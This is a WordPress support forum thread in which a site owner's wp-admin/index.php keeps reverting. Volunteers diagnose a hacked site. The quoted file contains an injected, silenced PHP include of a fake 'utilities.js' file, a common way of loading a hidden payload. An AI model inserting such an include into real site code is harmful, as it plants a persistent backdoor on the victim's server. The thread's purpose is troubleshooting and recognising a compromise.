wp-admin/index.php keeps changing

  • I have all of a sudden I get the following error when loging into my wp-admin section:

    
Fatal error: require(): Failed opening required '/data/21/3/66/16/3718505/user/4134455/htdocs/home/wp-admin/wp-blog-header.php' (include_path='.:/usr/share/php:/usr/services/vux/lib/php') in /data/21/3/66/16/3718505/user/4134455/htdocs/home/wp-admin/index.php on line 17

    When I look at the size via FTP it appears to be 500 bytes and contains only this:

    
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */@include( dirname( __FILE__ ) . '/wp-includes/js/utilities.js' );

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

    I have a copy of an origional wp-admin/index.php (about 7K bytes long) and have uploaded it. For the first login it works but almost imediatly it changes back to the 500 byte form above.

    Anyone have a clue why this is happening and how to fix it?

    Thank you,

    Bruce

    • This topic was modified 7 years, 4 months ago by Jan Dembowski.

    The page I need help with: [log in to see the link]

Viewing 11 replies - 1 through 11 (of 11 total)

  • Hi bicartwright,

    The code you’ve posted above is the code from the index.php file in the main directory, if you’re putting the wp-admin/index.php file there then it’s just rewriting itself back to what it should be. If you move to the /wp-admin/ directory and change that index.php file that might work.

    • This reply was modified 7 years, 4 months ago by Ethan.
    Thread Starter bicartwright

    (@bicartwright)

    Hi, Ethen,

    Thank you for your quick reply, No I’m putting the index.php in the we-admin directory. Sure do wish that was it though. I’ve verified several times though and its going in the wp-admin directory. I’ve included the header of the index.php I put into the wp-admin directory and as I log into admin (successfully I might add) I look at the size via FTP client and its changed back. Properties are set to 644 though. Any problem with that? I haven’t tried changing them to 444.

    Here is the header of the index that works.

    
<?php
/**
 * Dashboard Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

/** Load WordPress dashboard API */
require_once(ABSPATH . 'wp-admin/includes/dashboard.php');
    • This reply was modified 7 years, 4 months ago by Jan Dembowski.

    @bicartwright

    Sorry, I’m still a bit confused as to what’s happening. To verify, the index.php file that’s located at /wp-admin/index.php is changing from this to this?

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    Huh, there is no ‘utilities.js’ file inside WordPress at that path: https://core.svn.www.ads-software.com/trunk/wp-includes/js/

    I think you’ve been compromised and recommend working your way through these resources:

    Additional Resources:

    Thread Starter bicartwright

    (@bicartwright)

    Hi Ethen,

    Yeah, it sounds confusion. Let me try to make it clearer:

    I try to log into the wp-admin consold and am unable to. I look at the files in the wp-admin directory and find this 500 byte files:

    
<?php
/**
* Dashboard Administration Screen
*
* @package WordPress
* @subpackage Administration
*/

/** Load WordPress Bootstrap */
require_once( dirname( __FILE__ ) . ‘/admin.php’ );

/** Load WordPress dashboard API */
require_once(ABSPATH . ‘wp-admin/includes/dashboard.php’);

I then copy in (from my local computer) a 7K file with the following header (file is pretty long so not including full contents) <?php
/**
 * Dashboard Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

/** Load WordPress dashboard API */
require_once(ABSPATH . 'wp-admin/includes/dashboard.php');

    I then try again to log into wp-admin. I can then get into the wp-admin dashboard but if I refresh my FTP client I see that the 500 byte file is back in the wp-admin directory.

    Yeah, sounds nuts but that is what’s happening

    Andrew, I’m not sure you intended to pust your comment here. If so I dont understand it.

    • This reply was modified 7 years, 4 months ago by Jan Dembowski. Reason: Formatting fixed
    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    This is part of the code in your original post:

    
<?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/@include( dirname( __FILE__ ) . ‘/wp-includes/js/utilities.js’ );

    Not only is that completely different to what should be in that file, but it’s also trying to pull in a file that should not exist in a normal website directory.

    The problems you are facing are symptoms of a hacked website.

    Thread Starter bicartwright

    (@bicartwright)

    shoot, I’ve done it again. the file show first is obvilusly not the 500 byte file. Ignore that reply. I’ll repost it crected in a moment

    Thread Starter bicartwright

    (@bicartwright)

    Yeah, it sounds confusion. Let me try to make it clearer:

    I try to log into the wp-admin consold and am unable to. I look at the files in the wp-admin directory and find this 500 byte files:

    <?php
    /**
    * Front to the WordPress application. This file doesn’t do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */@include( dirname( __FILE__ ) . ‘/wp-includes/js/utilities.js’ );

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define(‘WP_USE_THEMES’, true);

    /** Loads the WordPress Environment and Template */
    require( dirname( __FILE__ ) . ‘/wp-blog-header.php’ );

    I then copy in (from my local computer) a 7K file with the following header (file is pretty long so not including full contents) <?php
    /**
    * Dashboard Administration Screen
    *
    * @package WordPress
    * @subpackage Administration
    */

    /** Load WordPress Bootstrap */
    require_once( dirname( __FILE__ ) . ‘/admin.php’ );

    /** Load WordPress dashboard API */
    require_once(ABSPATH . ‘wp-admin/includes/dashboard.php’);

    I then try again to log into wp-admin. I can then get into the wp-admin dashboard but if I refresh my FTP client I see that the 500 byte file is back in the wp-admin directory.

    Yeah, sounds nuts but that is what’s happening

    Andrew, I’m not sure you intended to pust your comment here. If so I dont understand it.

    @bicartwright

    Thanks for the clarification.

    What @anevins means is that in the code you’ve posted, the bit that’s overwriting the /wp-admin/index.php file – is calling a file that isn’t included with WordPress by default and could potentially mean your site has been hacked or you have installed a malicious plugin/theme.

    */@include( dirname( __FILE__ ) . ‘/wp-includes/js/utilities.js’ );

    Thread Starter bicartwright

    (@bicartwright)

    Andrew, I’m sorry, the post from you that I read first was confusing. I see what you are saying now. I will research the links you posted and see if I can make sense of it. Wonder what would happen if I reinstall wordpress. Sadly I’m on a host where I can’t use a CRT client (only ftp) so have little control over how instlation is set up. So to do it I’d back up the database, download my content directory and probably the includes directory. Then delete the wordpress directory completely, reinstall (from hosts control panel). If the new install copy sets up a new db I will upload the backed up copy then copy in the contents directory. (don’t think I need the includes but I don’t remember and would have to check to make sure there aren’t any user (ie theme or plugin necessary files).

    If either of you see a problem with that solution please let me know. I’m not going to attempt that in the next day or two so no rush.

    Thank you both,

    Bruce

    Thread Starter bicartwright

    (@bicartwright)

    Hi Ethan,

    Interesting, I will see if I can debug it that way first, if not than I’ll do the reinstall I’ve outlined above.

    Guess I need to tighten up the security on my site. Fortunately its not a very often visited site.

    Thank you both for all your help

    Bruce

Viewing 11 replies - 1 through 11 (of 11 total)
  • The topic ‘wp-admin/index.php keeps changing’ is closed to new replies.